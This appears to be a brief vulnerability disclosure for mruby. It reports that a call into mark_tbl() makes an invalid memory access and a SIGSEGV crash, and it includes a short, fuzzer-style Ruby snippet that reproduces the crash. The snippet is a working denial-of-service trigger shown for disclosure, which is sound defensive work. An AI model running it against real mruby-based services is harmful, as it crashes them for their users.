SIGSEGV on mruby's mark_tbl() (Invalid memory access)

There is an invalid memory access on mruby when calling to `mark_tbl()` which causes a SIGSEGV and leads to denial of service.

t0me=%
Array.new(9){t0me.empty?s=Array.new(9){%{}*0
s=Array.dup.new(23)
Array(0)}
Array(0..6)}